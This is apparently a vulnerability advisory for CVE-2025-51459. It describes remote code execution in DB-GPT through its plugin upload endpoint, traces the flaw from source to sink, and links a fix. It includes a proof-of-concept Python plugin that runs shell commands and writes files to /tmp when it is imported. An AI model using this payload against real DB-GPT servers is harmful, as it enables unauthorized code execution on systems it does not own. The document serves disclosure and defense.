Back to Research
CVSS 6.5mediumCVE-2025-51459

CVE-2025-51459: DB-GPT RCE in DB-GPT Plugin Upload System

Remote code execution vulnerability in DB-GPT's plugin upload functionality through unsafe Python code execution.

Gecko Security Research
Gecko Security Team
1/15/2025

Description

An RCE was found in the plugin upload functionality through the /v1/personal/agent/upload endpoint. While basic controls are in place for filename sanitization and path traversal prevention via _sanitize_filename(), there is no validation of the actual plugin code content. An attacker can upload a malicious Python file that passes the filename checks but contains arbitrary code. This code will be executed when the plugin is loaded through scan_plugins() during the refresh_plugins() call. The vulnerability is exploitable remotely through the FastAPI endpoint.

Source - Sink Analysis

  1. Source: personal_agent_upload() in packages/dbgpt-serve/src/dbgpt_serve/agent/hub/controller.py
  • Entry point accepting user file upload
    @router.post("/v1/personal/agent/upload", response_model=Result[str])
    
  1. Intermediate: _sanitize_filename() in packages/dbgpt-serve/src/dbgpt_serve/agent/hub/plugin_hub.py
  • Sanitizes filename but does not validate code content:
    safe_filename = self._sanitize_filename(doc_file.filename)
    
  1. Intermediate: scan_plugins() in packages/dbgpt-core/src/dbgpt/agent/resource/tool/autogpt/plugins_util.py
  • Loads and executes plugin code during import:
    my_plugins = scan_plugins(self.plugin_dir, safe_filename)
    
  1. Sink: refresh_plugins() in packages/dbgpt-serve/src/dbgpt_serve/agent/hub/controller.py
  • Executes loaded plugin code through AutoGPTPluginToolPack:
    module_plugin.refresh_plugins()
    

Proof of Concept:

The attack can be triggered through a single HTTP request to the /v1/personal/agent/upload endpoint, requires no special permissions or authentication beyond access to the endpoint, and code execution happens silently during the plugin loading process, even if plugin validation eventually fails.

Create malicious init.py with payload


# code executes immediately upon import
import os
import datetime
import subprocess
import socket

# create evidence file
timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
with open('/tmp/rce_${EXPLOIT_ID}.txt', 'w') as f:
    f.write(f'RCE executed at {timestamp}\\n')
    f.write(f'Hostname: {socket.gethostname()}\\n')

# execute commands with root privileges
output = subprocess.check_output('whoami && id && hostname', shell=True).decode('utf-8')
with open('/tmp/rce_cmd_${EXPLOIT_ID}.txt', 'w') as f:
    f.write(output)

from auto_gpt_plugin_template import AutoGPTPluginTemplate

class ExploitPlugin(AutoGPTPluginTemplate):
    def __init__(self):
        super().__init__()
        self._name = "RCE-Demo"
        self._version = "0.1.0"
        self._description = "RCE demo"
    
    def can_handle_post_prompt(self):
        return False
        
    def post_prompt(self, prompt):
        return prompt

Impact

Attackers can:

  • Execute arbitrary code with the privileges of the user running DB-GPT (default root in containerized deployments).
  • Access sensitive information such as system files, environment variables, and credentials.
  • Establish persistence on the target system and pivot to other systems within the victim's network.

Fix

  • https://github.com/eosphoros-ai/DB-GPT/pull/2649